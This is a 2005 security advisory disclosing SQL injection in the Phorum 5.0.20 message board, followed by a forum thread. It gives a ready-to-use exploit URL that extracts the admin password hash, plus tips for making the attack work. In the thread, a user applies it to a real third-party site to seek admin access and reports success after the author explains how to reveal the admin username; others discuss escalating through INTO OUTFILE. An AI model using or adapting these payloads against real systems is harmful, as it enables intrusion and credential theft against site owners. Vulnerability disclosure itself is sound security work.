Waraxe IT Security Portal

waraxe · Site admin

Author: Janek Vind "waraxe"
Date: 04. November 2005
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-43.html

Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Phorum 5.0.20

Homepage: http://phorum.org/

What is Phorum?
Phorum is a web based message board written in PHP.
Phorum is designed with high-availability and visitor ease
of use in mind. Features such as mailing list integration,
easy customization and simple installation make Phorum a
powerful add-in to any website.

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Critical sql injection has been found in Phorum 5.0.0.alpha
to 5.0.20. Phorum 5.1.x branch (in alpha stage) seems to be unaffected.

Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Problem lies in uninitialized array "$forum_ids" in "search.php" file.
From source code:

----------------[ from source code ]------------------
$forum_ids[$row["forum_id"]] = $row["forum_id"];

$match_number++;
}

$forums = phorum_db_get_forums($forum_ids);

foreach($arr["rows"] as $key => $row){
$arr["rows"][$key]["forum_url"] =
phorum_get_url(PHORUM_LIST_URL, $row["forum_id"]);
$arr["rows"][$key]["forum_name"] =
$forums[$row["forum_id"]]["name"];
}
----------------[ /from source code ]-----------------

This can give as possibilities to "inject" arbitrary data to "$forum_ids"
array by GPC and next let's look at "phorum_db_get_forums()" function from
"include/db/mysql.php" :

----------------[ from source code ]------------------
if (is_array($forum_ids)) $forum_ids = implode(",", $forum_ids);

$sql = "select * from {$PHORUM['forums_table']} ";
if ($forum_ids){
$sql .= " where forum_id in ($forum_ids)";
} elseif (func_num_args() > 1) {
$sql .= " where parent_id = $parent_id";
if(!defined("PHORUM_ADMIN")) $sql.=" and active=1";
}

$sql .= " order by display_order ASC, name";

$res = mysql_query($sql, $conn);
if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");

----------------[ /from source code ]-----------------

So sql query manipulation seems to be possible. Now let's try this
in real world ...

[------ real life exploit ------]

http://localhost/phorum520/search.php?1,search=a,page=1,match_type=ALL,
match_dates=30,match_forum=ALL,body=1,author=1,subject=1,&forum_ids[]=-99)
/**/UNION/**/ALL/**/SELECT/**/1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,
16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,21,32/**/FROM/**/phorum_users
/**/WHERE/**/admin=1/**/LIMIT/**/1/*

There are some critical conditions for exploit to be successful.

1. "register_globals" must be "on", so we can poison php variable space
through GPC.

2. "search=a" - this search string must return one or more results.

3. "SELECT/**/1,password" - first number in sql injection, in our case "1",
must be "forum_id" for forum in search results.

4. sql table prefix "phorum_" can be different, but this will give nice sql error
messages and reveal real prefix.

5. Some Phorum versions seems to have different table structure for "phorum_users",
so again, there will be sql error messages. It's easy to overcome this kind of
problem by altering sql injection string as "trial/error".

[----- /real life exploit ------]

See ya and have a nice day ;)

Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

01. november 2005 - vendor first contacted
01. november 2005 - vendor response
02. november 2005 - details emailed to vendor
03. november 2005 - vendor released new, patched version
04. november 2005 - public advisory released

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download new Phorum version 5.0.21 from:

http://phorum.org/downloads/phorum-5.0.21.tar.gz

More info: http://phorum.org/story.php?57

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to LINUX, Heintz, murdock, g0df4th3r, slimjim100, shai-tan,
y3dips and all other active members from waraxe community !

Tervitused - Raido Kerna !

Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expedition database - http://www.dxdb.com/

Hard disc recovery - http://www.hdd911.com/

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

Heintz · Valuable expert

wee.. great to hear about you Waraxe.

search parts of most software seems to be a bit more complicated then rest of code and more vulnearable.
anyway, great job as usually!! Smile

waraxe · Site admin

Thanx, Heintz!

Yes, search part is hard to code properly and securely and as much as
i have seen various messageboards and other scripts, they all are in trouble, when user will try search something with "weird" characters in search string Laughing

shai-tan · Valuable expert

I told people, you were back but Im not sure if they believed me. lolz.
AWOL there were rumours you were dead or in prison.
Your good at doing a dissapearing act it seems. Razz

IGNOR3 · Regular user

Thanx a lot!!

But how can I go to the cpanel without cracking the Hash??

waraxe · Site admin

IGNOR3 · Regular user

ThankYou.... But it doesn't work

example if you go to this site: http://xxxxxx.org/phorum

and inject it.... you will find this:

User: yyyyyy

md5: 33fe766b790c0dc842f5ad1219846a53

But when I go to this link:

http://xxxxxxxx.org/phorum/admin.php?phorum_admin_session=yyyyyy:33fe766b790c0dc842f5ad1219846a53

it shows login page Sad

waraxe · Site admin

First of all - NO REAL URL-s here!!! This is not allowed in this forum!

Next - admin username is different from that you can see in forum messages. Actually, admin username is secret. But you can use same sql injection to reveal that username.
Just modify injection:

from

IGNOR3 · Regular user

WoW!!!

Nice!!

It Worked for me!!

Shocked

Good Job Waraxe

waraxe · Site admin

Nice to hear about success Very Happy

zer0-c00l · Advanced user

Nice Waraxe!

Its good to know you're alive hehehe Very Happy

y3dips · Valuable expert

wow, nice to see u again waraxe Razz

nice advisories you bring out !

btw, have u tested the exploit by inserting "system <cmd>" so attacker able to gain communication with system Wink

(my friends told me about the technique, while im gone away from internet coz of less bandwidth)

waraxe · Site admin

Hi y3dips! Nice to see ya too Very Happy

Well, do you mean "INTO OUTFILE" methods like this one:

http://www.milw0rm.com/id.php?id=1270

Actually I believe, that in most of the cases there is no "File_priv" privileges available for current mysql user.

Those admins - they are so paranoid in this days Smile

y3dips · Valuable expert

yeah, thats what i mean bro Smile

i agree with u about priv restriction , but somehow there still many 'box' maintain by certified admin (not technicall admin Laughing

)

i think no need to put it for a play, better for "user" to create their own explo , so u wont bother about vendor reporting Razz

what u are Proof are more than enough Razz

LINUX · Moderator

exellent job janek Smile